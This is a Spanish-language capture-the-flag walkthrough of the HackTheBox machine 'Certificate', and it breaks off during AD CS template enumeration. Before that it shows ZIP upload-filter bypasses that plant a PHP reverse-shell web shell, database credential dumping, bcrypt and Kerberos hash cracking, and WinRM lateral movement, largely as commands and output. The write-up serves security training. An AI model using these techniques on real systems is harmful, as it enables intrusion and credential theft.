Habilidades: File Upload Bypass - Null Byte
Injection or ZIP File Concatenation, Credentials Leakage, Domain Enumeration - Bloodhound
, Packet Capture Analysis - .pcap
File, Abusing AD CS - ESC3
Technique, Abusing SeManageVolumePrivilege
+ Golden Certificate Attack [Privilege Escalation]
Introducción
Certificate es una máquina Windows de dificultad Hard
en HackTheBox en la que debemos comprometer un dominio de Active Directory utilizando técnicas que incluyen bypassing en archivos ZIP, análisis de tráfico kerberos
, explotación de ESC3 en AD CS y explotación del privilegio local SeManageVolumePrivlege
para obtener control completo sobre el dominio.
Reconocimiento
Enviaremos una traza ICMP para comprobar que la máquina víctima se encuentre activa
ping -c 1 10.10.11.71
PING 10.10.11.71 (10.10.11.71) 56(84) bytes of data.
64 bytes from 10.10.11.71: icmp_seq=1 ttl=127 time=240 ms
--- 10.10.11.71 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 239.697/239.697/239.697/0.000 ms
Nmap Scanning
Comenzaremos realizando un escaneo que se encargue de identificar puertos abiertos por el protocolo TCP
nmap -p- --open -sS --min-rate 2500 -n -Pn 10.10.11.71 -oG openPorts
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-10-04 09:15 EDT
Nmap scan report for 10.10.11.71
Host is up (0.76s latency).
Not shown: 65525 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
53/tcp open domain
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
636/tcp open ldapssl
3269/tcp open globalcatLDAPssl
9389/tcp open adws
49718/tcp open unknown
49737/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 57.69 seconds
--open
: Mostrar únicamente los puertos abiertos-p-
: Hacer un escaneo del total de puertos (65535)--min-rate 5000
: Enviar mínimo 5000 paquetes por segundo-n
: No aplicar resolución DNS, lo que acelera el escaneo-sS
: Modo de escaneo TCP SYN, no concluye la conexión, lo que hace el escaneo más ágil-Pn
: Omitir el descubrimiento de host (ARP)-oG
: Exportar en formatogrepable
-v
: Ver el progreso del escaneo
Lanzaremos un segundo escaneo, el cual intentará identificar la versión y los servicios que ejecuta cada uno de los puertos que hemos descubierto
nmap -p 53,80,135,139,445,636,3269,9389,49718,49737 -sVC 10.10.11.71
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-10-04 09:22 EDT
Nmap scan report for certificate.htb (10.10.11.71)
Host is up (0.42s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Apache httpd 2.4.58 (OpenSSL/3.1.3 PHP/8.0.30)
|_http-title: Certificate | Your portal for certification
|_http-server-header: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.certificate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.certificate.htb
| Not valid before: 2025-10-04T01:51:21
|_Not valid after: 2026-10-04T01:51:21
|_ssl-date: 2025-10-04T21:23:56+00:00; +8h00m01s from scanner time.
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.certificate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.certificate.htb
| Not valid before: 2025-10-04T01:51:21
|_Not valid after: 2026-10-04T01:51:21
|_ssl-date: 2025-10-04T21:23:56+00:00; +8h00m01s from scanner time.
9389/tcp open mc-nmf .NET Message Framing
49718/tcp open msrpc Microsoft Windows RPC
49737/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2025-10-04T21:23:18
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_clock-skew: mean: 8h00m00s, deviation: 0s, median: 8h00m00s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 105.30 seconds
-p
: Especificar puertos-sV
: Identificar la versión del servicio-sC
: Uso de scripts de reconocimiento-oN
: Exportar la salida en formato normal
Vemos una gran cantidad de servicios expuestos (como dns
, kerberos
, LDAP
, SMB
, WinRM
, etc.), esto es un claro indicador de que estamos frente a un controlador de dominio de Active Directory.
Vemos tanto el nombre del dominio como del host, añadiremos esta información a nuestro archivo /etc/hosts
para aplicar correctamente una resolución DNS y hacer referencia al dominio
echo '10.10.11.71 certificate.htb DC01.certificate.htb' | sudo tee -a /etc/hosts
Web Analysis
Vemos que el puerto 80
se encuentra abierto y muestra información acerca de un servicio web. Antes de visitar la web, podemos escanear las tecnologías que el servidor puede estar empleando para mostrar el contenido
whatweb http://10.10.11.71
http://10.10.11.71 [301 Moved Permanently] Apache[2.4.58], Country[RESERVED][ZZ], HTTPServer[Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30], IP[10.10.11.71], OpenSSL[3.1.3], PHP[8.0.30], RedirectLocation[http://certificate.htb/], Title[301 Moved Permanently]
El servidor intenta aplicar una redirección hacia el dominio certificate.htb
. Veremos la siguiente web, que parece ser un portal educativo
Tenemos la posibilidad de tanto de registrar una cuenta de usuario como de iniciar sesión en el portal
Cuando iniciemos sesión, tendremos la opción de inscribir diversos cursos desde los detalles de cada uno dentro de http://certificate.htb/course-details.php?id=1
Al inscribir un curso, si navegamos al final desbloquearemos la opción de responder una encuesta, la web nos redirige a http://certificate.htb/upload.php?s_id=42
File Upload
La nueva web que muestra el servidor es la siguiente. Se indican instrucciones que nos revelan información sobre el procesamiento de los archivos
- Las extensiones aceptadas corresponden a documentos de ofimática:
.pdf
,.docx
,.pptx
y.xlsx
- Debemos incluir nuestro documento en un archivo comprimido
.zip
Esto nos dice que todo el contenido de nuestro comprimido será extraído por el servidor. Podemos generar un archivo PDF
rápidamente para ver el comportamiento de la web con el siguiente script en python
from reportlab.pdfgen import canvas
from reportlab.lib.pagesizes import letter
from reportlab.lib.colors import blue
# Create a new PDF document
c = canvas.Canvas("my_document.pdf", pagesize=letter)
# Set document title
c.setTitle("My Python-Generated PDF")
# Add text to the PDF
c.setFont("Helvetica", 24)
c.drawString(100, 750, "Hello, World!")
c.setFont("Times-Roman", 12)
c.setFillColor(blue)
c.drawString(100, 700, "This is a sample document created with Python and ReportLab.")
# Add more lines of text
c.drawString(100, 680, "You can add multiple lines and customize their appearance.")
c.drawString(100, 660, "For example, changing font, size, and color.")
# Save the PDF
c.save()
print("PDF 'my_document.pdf' created successfully.")
Para poder generar un PDF
con el código anterior, necesitaremos la librería reportlab
, la instalaremos en un entorno virtual de python
python3 -m venv .venv
source .venv/bin/activate
pip install reportlab
python3 main.py
zip test.zip my_document.pdf
Al subir nuestro archivo test.zip
, el servidor genera un link desde el cual podemos acceder a nuestro archivo PDF
, bajo la ruta static/uploads/hash/archivo
Intrusión / Explotación
Dado el contexto en el que estamos (xampp
), podríamos pensar en ejecutar código malicioso desde un script de PHP para ganar acceso.
Es posible ganar acceso inicial empleando dos técnicas para evadir filtros de detección de archivos maliciosos, en este caso, archivos PHP.
Understanding ZIP File Structure
Para entender cómo ganamos acceso mediante un comprimido .zip
malicioso, necesitaremos comprensión acerca de los componentes de un archivo ZIP. Un archivo comprimido posee la siguiente estructura esencial
-
Entradas de archivo (
File Entries
): Cada archivo se almacena con metadatos como su nombre, tamaño y fecha de modificación, esta sección de metadatos es conocida comoLocal File Header
. -
Directorio Central (
Central Directory
): Se encuentra al final del archivo ZIP, incluye una lista de archivos junto con su ubicación dentro del ZIP. El lector ZIP consulta el directorio central para localizar y mostrar los archivos. -
EOCD (Fin del Directorio Central o
End of Central Directory
): Este registro se encuentra al final del archivo ZIP e indica dónde comienza el directorio central, facilita a los lectores ZIP encontrar los archivos
Realizando pruebas con diferentes formas de ejecutar una reverse shell en PHP, la función que ha funcionado para mi caso ha sido utilizar la función shell_exec()
.
El contenido de shell.php
es el siguiente, en mi caso generé una reverse shell desde revshells.com
, utilizando un payload PowerShell #3 (Base64)
<?php
shell_exec("powershell -e BASE64_REVERSE_SHELL");
?>
1. File Upload Bypass - Null Byte Injection
La primera técnica que podemos utilizar para evadir el filtro de archivos es inyectando un Null Byte
dentro de los metadatos del archivo comprimido ZIP que el servidor espera que subamos.
El nombre del archivo se almacena como parte de los metadatos dentro de Local File Header
y el EOCD (End of the Central Directory
)
Para realizar correctamente la inyección y según la estructura de un ZIP, necesitaremos modificar tanto parte del inicio como del final del comprimido.
Comenzaremos con renombrar nuestro archivo PHP malicioso con un caracter que podamos identificar y que será reemplazado, en este caso un punto.
Agregaremos el archivo renombrado a un comprimido nuevo, por ejemplo evil.zip
mv shell.php shell..pdf
zip evil.zip shell.php..pdf
Ahora editamos el archivo evil.zip
con un editor hexadecimal, en mi caso usé hexeditor
hexeditor evil.zip
Una vez dentro del archivo podemos presionar
TAB
para intercambiar la vista entreASCII
y hexadecimal.
Modificaremos el punto que se sitúa inmediatamente después de shell.php
para sobreescribir este caracter con un byte
nulo (00
) tanto al principio como al final del archivo, más o menos se vería de la siguiente manera
Guardamos los cambios con F10
y presionando y
. Ahora debemos subir este archivo ZIP modificado a la web
Cuando accedamos al enlace nos mostrará un espacio en el nombre del archivo (shell.php .pdf
)
Iniciaremos un listener para recibir la reverse shell, en mi caso escogí el puerto 443
rlwrap -cAr nc -lvnp 443
listening on [any] 443 ...
Para ejecutar la reverse shell, bastará con borrar este espacio vacío y todo lo que le sigue para así visitar la siguiente URL, apuntando al archivo shell.php
http://certificate.htb/static/uploads/HASH/shell.php
Cuando cargue la página, desde nuestro listener recibiremos una consola de powershell
como el usuario xamppuser
rlwrap -cAr nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.123] from (UNKNOWN) [10.10.11.71] 64722
PS C:\xampp\htdocs\certificate.htb\static\uploads\8ad6b1453a685cd6a629959dcfb5039d> whoami
certificate\xamppuser
2. File Upload Bypass - ZIP File Concatenation
Opcionalmente, podemos utilizar otro enfoque para ganar acceso mediante un archivo .zip
que contenga un archivo malicioso.
La técnica de evasión por concatenación de archivos ZIP (ZIP Concatenation Evasion
) es un método para ocultar malware y eludir detecciones añadiendo múltiples archivos dentro de un mismo comprimido ZIP.
Aunque un archivo comprimido combinado puede parecer un único archivo, en realidad contiene varios directorios centrales, cada uno de los cuales apunta a diferentes conjuntos de entradas de archivos.
Proof of Concept
En el siguiente ejemplo se muestra cómo se realizaría la concatenación de los archivos ZIP comprimidos
echo 'this is a harmless file!' > first.txt
echo 'This is a very scary malware' > second.txt
zip pt1.zip first.txt
zip pt2.zip second.txt
cat pt1.zip pt2.zip > combined.zip
En este caso, dos archivos ZIP legítimos (pt1.zip
y pt2.zip
) se concatenan en un solo archivo (combined.zip
).
El directorio central del segundo archivo (pt2.zip
) tiene prioridad, lo que significa que solo los archivos que aparecen en este directorio son visibles para ciertos lectores de ZIP.
Cada herramienta procesa el directorio central de manera diferente, lo que da lugar a una visibilidad variada del contenido oculto o malicioso.
Cuando abrimos el archivo combined.zip
, lectores como WinRar
o con Windows File Explorer
pueden mostrar el contenido del segundo archivo comprimido. La siguiente imagen muestra cómo lo procesa WinRAR
El siguiente ejemplo muestra a Windows File Explorer
abriendo el contenido del segundo archivo si cambiamos la extensión a .rar
Utilizando esta técnica podríamos ocultar un archivo malicioso para eludir detecciones y sea alojado en el servidor web. Para luego acceder a él y lograr ejecución remota de comandos
Comenzaremos creando un archivo comprimido que contenga nuestro PDF
zip 1.zip my_document.pdf
adding: my_document.pdf (deflated 46%)
Crearemos otro comprimido que contenga nuestro archivo malicioso
zip -r 2.zip evil
adding: evil/ (stored 0%)
adding: evil/shell.php (deflated 60%)
Ahora concatenaremos los dos comprimidos para generar un tercero, en mi caso lo he llamado evil.zip
cat 1.zip 2.zip > evil.zip
A la hora de subir el comprimido, se generará un enlace que podemos visitar, el cual nos lleva a nuestro archivo PDF, que podría lucir más o menos así
http://certificate.htb/static/uploads/c8a2599725bd1085a06529f991aafce9/my_document.pdf
Antes de ejecutar la reverse shell, iniciaremos un listener con netcat
para recibir una consola de powershell
por un puerto determinado. En mi caso he escogido el puerto 443
rlwrap -cAr nc -lvnp 443
listening on [any] 443 ...
Si visitamos el enlace generado, visualizaremos nuestro archivo PDF
Intentaremos abrir nuestro archivo malicioso shell.php
, para eso cambiaremos la ruta tal como lo definimos a la hora de comprimir el archivo
http://certificate.htb/static/uploads/8cab52ee39a496bcb224cdb3e5d654d6/evil/shell.php
Shell as xamppuser
Desde nuestro listener recibiremos una consola de powershell
como el usuario que ejecuta el servicio web, en este caso, xamppuser
rlwrap -cAr nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.123] from (UNKNOWN) [10.10.11.71] 52234
PS C:\xampp\htdocs\certificate.htb\static\uploads\8cab52ee39a496bcb224cdb3e5d654d6\evil> whoami
certificate\xamppuser
Credentials Leakage
Cambiaremos de directorio para ubicarnos en la raíz de la ruta donde se alojan los archivos del servidor web
PS C:\xampp\htdocs\certificate.htb> cd ..\..\..\..\
PS C:\xampp\htdocs\certificate.htb> dir
Directory: C:\xampp\htdocs\certificate.htb
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 12/26/2024 1:49 AM static
-a---- 12/24/2024 12:45 AM 7179 about.php
-a---- 12/30/2024 1:50 PM 17197 blog.php
-a---- 12/30/2024 2:02 PM 6560 contacts.php
-a---- 12/24/2024 6:10 AM 15381 course-details.php
-a---- 12/24/2024 12:53 AM 4632 courses.php
-a---- 12/23/2024 4:46 AM 549 db.php
-a---- 12/22/2024 10:07 AM 1647 feature-area-2.php
-a---- 12/22/2024 10:22 AM 1331 feature-area.php
-a---- 12/22/2024 10:16 AM 2955 footer.php
-a---- 12/23/2024 5:13 AM 2351 header.php
-a---- 12/24/2024 12:52 AM 9497 index.php
-a---- 12/25/2024 1:34 PM 5908 login.php
-a---- 12/23/2024 5:14 AM 153 logout.php
-a---- 12/24/2024 1:27 AM 5321 popular-courses-area.php
-a---- 12/25/2024 1:27 PM 8240 register.php
-a---- 12/28/2024 11:26 PM 10366 upload.php
Si inspeccionamos el contenido del archivo db.php
, veremos las credenciales para conectarse a la base de datos.
Database Enumeration
Recordemos que en un entorno xampp
, el motor de base de datos utilizado por defecto es MySQL
. El binario para ejecutar mysql
se debería encontrar dentro de C:\xampp\mysql\bin\mysql.exe
Comenzaremos enumerando las bases de datos existentes (nota como ejecuto las queries en el parámetro -e
)
PS C:\xampp\mysql\bin> .\mysql.exe -h 127.0.0.1 -u 'certificate_webapp_user' -p'cert!f!c@teDBPWD' -e 'show databases;'
Database
certificate_webapp_db
information_schema
test
Mostraremos las tablas para la base de datos certificate_webapp_db
, dando uso a la base de datos en la misma línea separado de un ;
PS C:\xampp\mysql\bin> .\mysql.exe -h 127.0.0.1 -u 'certificate_webapp_user' -p'cert!f!c@teDBPWD' -e 'use certificate_webapp_db; show tables'
Tables_in_certificate_webapp_db
course_sessions
courses
users
users_courses
Consultaremos los datos de la tabla users
, además de aplicar un filtro que puede ser útil para no ver la cuenta que hemos creado, utilizando un |
seguido de findstr
, buscando como si fuera grep
PS C:\xampp\mysql\bin> .\mysql.exe -h 127.0.0.1 -u 'certificate_webapp_user' -p'cert!f!c@teDBPWD' -e 'use certificate_webapp_db; select * from users' | findstr certificate.htb
1 Lorra Armessa Lorra.AAA lorra.aaa@certificate.htb $2y$04$bZs2FUjVRiFswY84CUR8ve02ymuiy0QD23XOKFuT6IM2sBbgQvEFG 2024-12-23 12:43:10 teacher 1
10 Sara Brawn sara.b sara.b@certificate.htb $2y$04$CgDe/Thzw/Em/M4SkmXNbu0YdFo6uUs3nB.pzQPV.g8UdXikZNdH6 2024-12-25 21:31:26 admin 1
Hash Cracking
Opcionalmente, podemos realizar un pequeño tratamiento de los datos extraídos, con el propósito de extraer los hashes para intentar descifrarlos de forma offline.
Simplemente cambiando un caracter y luego filtrando por campos específicos obtendremos una lista de 2
hashes para intentar crackear
echo '1 Lorra Armessa Lorra.AAA lorra.aaa@certificate.htb $2y$04$bZs2FUjVRiFswY84CUR8ve02ymuiy0QD23XOKFuT6IM2sBbgQvEFG 2024-12-23 12:43:10
teacher 1
10 Sara Brawn sara.b sara.b@certificate.htb $2y$04$CgDe/Thzw/Em/M4SkmXNbu0YdFo6uUs3nB.pzQPV.g8UdXikZNdH6 2024-12-25 21:31:26 admin 1' | tr '\t' ';' | cut -d ';' -f6-6 | tee hashes.txt
$2y$04$bZs2FUjVRiFswY84CUR8ve02ymuiy0QD23XOKFuT6IM2sBbgQvEFG
$2y$04$CgDe/Thzw/Em/M4SkmXNbu0YdFo6uUs3nB.pzQPV.g8UdXikZNdH6
Procederemos a ejecutar john
empleando el diccionario rockyou.txt
para intentar encontrar alguna contraseña que coincida con alguno de estos hashes
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
Created directory: /root/.john
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 16 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Blink182 (?)
Generaremos un listado rápido de la gran cantidad de usuarios (2
, aunque es útil este tip en caso de que sean muchos más), parecido a cómo lo hicimos con los hashes
echo '1 Lorra Armessa Lorra.AAA lorra.aaa@certificate.htb $2y$04$bZs2FUjVRiFswY84CUR8ve02ymuiy0QD23XOKFuT6IM2sBbgQvEFG 2024-12-23 12:43:10
teacher 1
10 Sara Brawn sara.b sara.b@certificate.htb $2y$04$CgDe/Thzw/Em/M4SkmXNbu0YdFo6uUs3nB.pzQPV.g8UdXikZNdH6 2024-12-25 21:31:26 admin 1' | tr '\t' ';' | cut -d ';' -f5-5 | cut -d '@' -f1-1 | tee users.txt
lorra.aaa
sara.b
Validaremos las credenciales para ambas cuentas, intentando autenticarnos con una lista de los usuarios que hemos encontrado. La contraseña será válida para la cuenta sara.b
nxc smb DC01.certificate.htb -u users.txt -p 'Blink182'
SMB 10.10.11.71 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:certificate.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.71 445 DC01 [-] certificate.htb\lorra.aaa:Blink182 STATUS_LOGON_FAILURE
SMB 10.10.11.71 445 DC01 [+] certificate.htb\sara.b:Blink182
La cuenta sara.b
parece ser que forma parte del grupo Remote Management Users
, esto debido al mensaje que vemos al autenticarnos en winrm
nxc winrm DC01.certificate.htb -u 'sara.b' -p 'Blink182'
WINRM 10.10.11.71 5985 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:certificate.htb)
WINRM 10.10.11.71 5985 DC01 [+] certificate.htb\sara.b:Blink182 (Pwn3d!)
Domain Analysis - Bloodhound
Como disponemos de credenciales válidas, recolectaremos información del dominio para analizarla desde Bloodhound
, enumerando relaciones entre usuarios y vías potenciales para elevar nuestros privilegios
ntpdate DC01.certificate.htb && bloodhound-python -d certificate.htb -ns 10.10.11.71 --zip -c All -u sara.b -p 'Blink182'
2025-09-28 18:32:03.545771 (-0400) +0.010341 +/- 0.115739 DC01.certificate.htb 10.10.11.71 s1 no-leap
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: certificate.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc01.certificate.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 3 computers
INFO: Connecting to LDAP server: dc01.certificate.htb
INFO: Found 19 users
INFO: Found 58 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: WS-05.certificate.htb
INFO: Querying computer: WS-01.certificate.htb
INFO: Querying computer: DC01.certificate.htb
INFO: Done in 01M 11S
INFO: Compressing output into 20250928183209_bloodhound.zip
Opcionalmente, podemos generar una lista de usuarios del dominio con herramientas como rpcclient
y aplicando un tratamiento a la salida del comando
rpcclient DC01.certificate.htb -U 'sara.b%Blink182' -c enumdomusers | cut -d ' ' -f1-1 | grep -oP '\[.*?\]' | tr -d '[]' | tee users.txt
Administrator
Guest
krbtgt
Kai.X
Sara.B
John.C
Aya.W
Nya.S
Maya.K
Lion.SK
Eva.F
Ryan.K
akeder.kh
kara.m
Alex.D
karol.s
saad.m
xamppuser
Shell as sara.b
Sabiendo que sara.b
es miembro del grupo Remote Management Users
, podremos conectarnos a la máquina con una consola de powershell
empleando herramientas como evil-winrm
o su versión de python
, evil-winrm-py
evil-winrm-py -i DC01.certificate.htb -u 'sara.b' -p 'Blink182'
▘▜ ▘
█▌▌▌▌▐ ▄▖▌▌▌▌▛▌▛▘▛▛▌▄▖▛▌▌▌
▙▖▚▘▌▐▖ ▚▚▘▌▌▌▌ ▌▌▌ ▙▌▙▌
▌ ▄▌ v1.1.2
[*] Connecting to DC01.certificate.htb:5985 as sara.b
evil-winrm-py PS C:\Users\Sara.B\Documents> whoami
certificate\sara.b
Interesting Files
Dentro de la carpeta Documents
de sara.b
, existe una carpeta que hace referencia a una computadora a nivel de dominio (WS-01
).
Dentro de WS-01
, encontraremos un archivo de texto además de lo que parece ser una captura de paquetes
evil-winrm-py PS C:\Users\Sara.B\Documents> dir
Directory: C:\Users\Sara.B\Documents
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 11/4/2024 12:53 AM WS-01
evil-winrm-py PS C:\Users\Sara.B\Documents> dir WS-01
Directory: C:\Users\Sara.B\Documents\WS-01
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 11/4/2024 12:44 AM 530 Description.txt
-a---- 11/4/2024 12:45 AM 296660 WS-01_PktMon.pcap
Descargaremos estos archivos en nuestra máquina con la funcionalidad download
evil-winrm-py PS C:\Users\Sara.B\Documents> download WS-01\WS-01_PktMon.pcap .
evil-winrm-py PS C:\Users\Sara.B\Documents> download WS-01\description.txt .
El archivo description.txt
contiene el siguiente mensaje
The workstation 01 is not able to open the "Reports" smb shared folder which is hosted on DC01.
When a user tries to input bad credentials, it returns bad credentials error.
But when a user provides valid credentials the file explorer freezes and then crashes!
El mensaje hace alusión a un problema con la computadora WS-01
, podemos sintetizar lo siguiente
- La estación de trabajo (
WS-01
), no permite abrir el recurso compartidoReports
, tampoco una carpeta compartida alojada enDC01
. - Cuando un usuario se autentica con credenciales válidas, el explorador de archivos se congela y se cierra.
Packet Capture Analysis - .pcap
File
Abriremos la captura de paquetes con wireshark
para analizar el tráfico. Aplicando un filtro al protocolo kerberos
, veremos un flujo de autenticación, el cual comienza con un paquete AS-REQ
Understanding Kerberos Authentication
El protocolo Kerberos es un sistema de autenticación de red que proporciona una autenticación fuerte para aplicaciones cliente-servidor mediante el uso de criptografía de clave simétrica y un tercero de confianza centralizado, el Centro de Distribución de Claves (KDC), para evitar el envío de contraseñas por la red.
Este protocolo se basa en el intercambio de tickets, que sirven como prueba de identidad, permitiendo el inicio de sesión único (SSO
) de un usuario a diferentes servicios.
En el proceso de autenticación de kerberos
, interactúan tres entidades principales:
- Cliente: Un usuario o un proceso en nombre de éste.
- KDC (
Key Distribution Center
): Es el centro de distribución de claves, verifica la identidad de usuarios y servicios dentro de una red emitiendo “tickets” (certificados), los cuales otorgan acceso a diferentes servicios. - Aplicación (
AP
oApplication Server
): Aplicación o recurso dentro de una red que un cliente puede solicitar y usar después de que su identidad haya sido verificada.
Los tickets kerberos
son tokens de autenticación emitidos por el KDC y tienen un tiempo límite
- TGT (
Ticket Granting Ticket
): Permite al cliente solicitar tickets de servicio sin tener que volver a autenticarse - ST (
Service Ticket
): Autentica al cliente en un servicio específico de la red
El KDC contiene dos componentes principales que se encargan de autenticar al usuario y emitir los tickets kerberos
Authentication Server
: Se encarga de realizar la autenticación inicial de los clientes.Ticket Granting Server
: Proporciona los tickets de servicio (ST
) para que un cliente ya autenticado pueda acceder a los recursos que solicita dentro de un dominio.
Dentro de un flujo de autenticación kerberos
, se tramitan el siguiente conjunto de paquetes
AS-REQ
El cliente envía un mensaje al Authentication Server
, este mensaje contiene el nombre del cliente, el servicio solicitado, y una marca de tiempo (timestamp
) cifrado con el hash NTLM del usuario.
AS-REP
El servidor de autenticación (AS
) valida la identidad del usuario y si es exitosa responde con un TGT, el cual contiene una clave de sesión.
TGS-REQ
El cliente esencialmente envía el TGT y un Authenticator
, el cual es untimestamp
cifrado con la clave de sesión obtenida del TGT, además de otros parámetros.
Este mensaje es enviado al Ticket Granting Server
con el propósito de obtener un ST (Service Ticket
).
TGS-REP
El Ticket Granting Server
valida el TGT y el Authenticator
, si son correctos responde con un ST (Service Ticket
), el cual está cifrado con la clave secreta de servicio.
AP-REQ
El cliente presenta el ST
al servidor de aplicación, además de otro Authenticator
, que está cifrado con la clave de sesión del ticket de servicio.
AP-REP
El servidor valida la identidad del usuario y le otorga acceso al servicio.
Podemos construir un hash para intentar descifrarlo por fuerza bruta con los valores del segundo paquete AS-REQ
, el cual es el que inicia la autenticación.
Utilizamos el segundo paquete AS-REQ
debido a que el primero genera el error KRB5KDC_ERR_PREAUTH_REQUIRED
al no enviar la prueba de conocimiento de contraseña (el timestamp
cifrado), esto es completamente normal, es un aviso del DC hacia el cliente
El formato de hash que soporta la herramienta hashcat
se vería representado de la siguiente manera
$krb5pa$18$Lion.SK$certificate.htb$23f5159fa1c66ed7b0e561543eba6c010cd31f7e4a4377c2925cf306b98ed1e4f3951a50bc083c9bc0f16f0f586181c9d4ceda3fb5e852f0
$Lion.SK
: Nombre del cliente que solicita autenticación$certificate.htb
: Nombre del dominio$23f...
: Valor del campocipher
, el cual es eltimestamp
cifrado
Lanzaremos una herramienta de cracking como hashcat
o john
para intentar descifrar el hash usando el diccionario rockyou.txt
hashcat hash.txt /usr/share/wordlists/rockyou.txt -O
$krb5pa$18$Lion.SK$certificate.htb$23f5159fa1c66ed7b0e561543eba6c010cd31f7e4a4377c2925cf306b98ed1e4f3951a50bc083c9bc0f16f0f586181c9d4ceda3fb5e852f0:!QAZ2wsx
Hemos encontrado la contraseña, si la validamos con la herramienta netexec
, notaremos que el usuario lion.sk
puede conectarse al DC vía winrm
nxc winrm DC01.certificate.htb -u 'lion.sk' -p '!QAZ2wsx'
WINRM 10.10.11.71 5985 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:certificate.htb)
WINRM 10.10.11.71 5985 DC01 [+] certificate.htb\lion.sk:!QAZ2wsx (Pwn3d!)
Shell as Lion.SK
Como las credenciales son válidas y el usuario lion.sk
forma parte del grupo Remote Management Users
, nos conectaremos a la máquina con una consola de powershell
evil-winrm-py -i DC01.certificate.htb -u 'lion.sk' -p '!QAZ2wsx'
▘▜ ▘
█▌▌▌▌▐ ▄▖▌▌▌▌▛▌▛▘▛▛▌▄▖▛▌▌▌
▙▖▚▘▌▐▖ ▚▚▘▌▌▌▌ ▌▌▌ ▙▌▙▌
▌ ▄▌ v1.1.2
[*] Connecting to DC01.certificate.htb:5985 as lion.sk
evil-winrm-py PS C:\Users\Lion.SK\Documents> whoami
certificate\lion.sk
Ya podemos ver la flag del usuario sin privilegios
evil-winrm-py PS C:\Users\Lion.SK\Documents> type ..\Desktop\user.txt
02f...
Escalada de Privilegios
Abusing AD CS - ESC3
Technique
El usuario lion.sk
es miembro del grupo Domain CRA Managers
, el cual parece ser un grupo personalizado.
Con la herramienta certipy
, buscaremos plantillas vulnerables que podamos utilizar par explotar el servicio AD CS
certipy find -u 'lion.sk' -p '!QAZ2wsx' -dc-ip 10.10.11.71 -stdout
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 35 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Finding issuance policies
[*] Found 18 issuance policies
[*] Found 0 OIDs linked to templates
[*] Retrieving CA configuration for 'Certificate-LTD-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Successfully retrieved CA configuration for 'Certificate-LTD-CA'
[*] Checking web enrollment for CA 'Certificate-LTD-CA' @ 'DC01.certificate.htb'
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[*] Enumeration output:
Certificate Authorities
0
CA Name : Certificate-LTD-CA
DNS Name : DC01.certificate.htb
Certificate Subject : CN=Certificate-LTD-CA, DC=certificate, DC=htb
Certificate Serial Number : 75B2F4BBF31F108945147B466131BDCA
Certificate Validity Start : 2024-11-03 22:55:09+00:00
Certificate Validity End : 2034-11-03 23:05:09+00:00
Web Enrollment
HTTP
Enabled : False
HTTPS
Enabled : False
User Specified SAN : Disabled
Request Disposition : Issue
Enforce Encryption for Requests : Enabled
Active Policy : CertificateAuthority_MicrosoftDefault.Policy
Permissions
Owner : CERTIFICATE.HTB\Administrators
Access Rights
ManageCa : CERTIFICATE.HTB\Administrators
CERTIFICATE.HTB\Domain Admins
CERTIFICATE.HTB\Enterprise Admins
ManageCertificates : CERTIFICATE.HTB\Administrators
CERTIFICATE.HTB\Domain Admins
CERTIFICATE.HTB\Enterprise Admins
Enroll : CERTIFICATE.HTB\Authenticated Users
...
...
...
Certificate Templates
0
Template Name : Delegated-CRA
Display Name : Delegated-CRA
Certificate Authorities : Certificate-LTD-CA
Enabled : True
Client Authentication : False
Enrollment Agent : True
Any Purpose : False
Enrollee Supplies Subject : False
Certificate Name Flag : SubjectAltRequireUpn
SubjectAltRequireEmail
SubjectRequireEmail
